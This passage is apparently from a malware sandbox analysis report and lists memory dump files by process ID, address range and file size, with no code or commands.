memory/4180-308-0x0000000002495000-0x0000000002496000-memory.dmpFilesize
4KB
-
memory/4180-304-0x0000000002492000-0x0000000002494000-memory.dmpFilesize
8KB
-
memory/4204-199-0x0000000000000000-mapping.dmp
-
memory/4220-214-0x0000000000000000-mapping.dmp
-
memory/4240-200-0x0000000000000000-mapping.dmp
-
memory/4248-223-0x0000000000000000-mapping.dmp
-
memory/4344-222-0x0000000000000000-mapping.dmp
-
memory/4488-205-0x0000000000000000-mapping.dmp
-
memory/4488-176-0x0000000000000000-mapping.dmp
-
memory/4548-202-0x0000000000000000-mapping.dmp
-
memory/4604-313-0x0000000004840000-0x0000000004940000-memory.dmpFilesize
1024KB
-
memory/4604-204-0x0000000000000000-mapping.dmp
-
memory/4636-219-0x0000000000000000-mapping.dmp
-
memory/4704-286-0x0000000005040000-0x0000000005041000-memory.dmpFilesize
4KB
-
memory/4712-206-0x0000000000000000-mapping.dmp
-
memory/4748-221-0x0000000000000000-mapping.dmp
-
memory/4752-218-0x0000000000000000-mapping.dmp
-
memory/4756-263-0x0000000001570000-0x0000000001572000-memory.dmpFilesize
8KB
-
memory/4764-208-0x0000000000000000-mapping.dmp
-
memory/4764-253-0x0000000000400000-0x0000000000983000-memory.dmpFilesize
5.5MB
-
memory/4772-207-0x0000000000000000-mapping.dmp
-
memory/4780-293-0x000001BA0B210000-0x000001BA0B25B000-memory.dmpFilesize
300KB
-
memory/4780-294-0x000001BA0B4D0000-0x000001BA0B540000-memory.dmpFilesize
448KB
-
memory/4780-298-0x000001BA0DB00000-0x000001BA0DC05000-memory.dmpFilesize
1.0MB
-
memory/4808-228-0x0000000000000000-mapping.dmp
-
memory/4828-184-0x0000000000000000-mapping.dmp
-
memory/4840-209-0x0000000000000000-mapping.dmp
-
memory/4840-254-0x0000000004410000-0x0000000004510000-memory.dmpFilesize
1024KB
-
memory/4840-255-0x0000000004590000-0x00000000045ED000-memory.dmpFilesize
372KB
-
memory/4856-189-0x0000000000000000-mapping.dmp
-
memory/4920-262-0x0000025AB4F70000-0x0000025AB4FE2000-memory.dmpFilesize
456KB
-
memory/4932-193-0x0000000000000000-mapping.dmp
-
memory/4936-224-0x0000000000000000-mapping.dmp
-
memory/4940-211-0x0000000000000000-mapping.dmp
-
memory/4968-225-0x0000000000000000-mapping.dmp
-
memory/4968-194-0x0000000000000000-mapping.dmp
-
memory/4980-195-0x0000000000000000-mapping.dmp
-
memory/5036-212-0x0000000000000000-mapping.dmp
-
memory/5060-196-0x0000000000000000-mapping.dmp
-
memory/5072-197-0x0000000000000000-mapping.dmp
-
memory/5084-227-0x0000000000000000-mapping.dmp
-
memory/5108-213-0x0000000000000000-mapping.dmp
-
memory/5156-229-0x0000000000000000-mapping.dmp
-
memory/5216-230-0x0000000000000000-mapping.dmp
-
memory/5252-231-0x0000000000000000-mapping.dmp
-
memory/5292-232-0x0000000000000000-mapping.dmp
-
memory/5348-233-0x0000000000000000-mapping.dmp
-
memory/5360-295-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/5360-234-0x0000000000000000-mapping.dmp
-
memory/5448-235-0x0000000000000000-mapping.dmp
-
memory/5488-296-0x00000000001F0000-0x00000000001F1000-memory.dmpFilesize
4KB
-
memory/5500-289-0x0000000002F50000-0x0000000002F51000-memory.dmpFilesize
4KB
-
memory/5524-236-0x0000000000000000-mapping.dmp
-
memory/5544-288-0x00000000054A0000-0x00000000054A1000-memory.dmpFilesize
4KB
-
memory/5560-287-0x0000000000400000-0x00000000004B3000-memory.dmpFilesize
716KB
-
memory/5560-285-0x0000000000820000-0x00000000008B1000-memory.dmpFilesize
580KB
-
memory/5680-237-0x0000000000000000-mapping.dmp
-
memory/5732-238-0x0000000000000000-mapping.dmp
-
memory/5856-239-0x0000000000000000-mapping.dmp
-
memory/5908-241-0x0000000000000000-mapping.dmp
-
memory/5928-244-0x0000000000000000-mapping.dmp
-
memory/5960-247-0x0000000000000000-mapping.dmp
-
memory/5992-309-0x00000000004D0000-0x0000000000514000-memory.dmpFilesize
272KB
-
memory/5996-250-0x0000000000000000-mapping.dmp
-
memory/6072-251-0x0000000000000000-mapping.dmp
-
memory/6104-312-0x0000000140000000-0x0000000140383000-memory.dmpFilesize
3.5MB
-
memory/6108-310-0x0000000000400000-0x0000000000447000-memory.dmpFilesize
284KB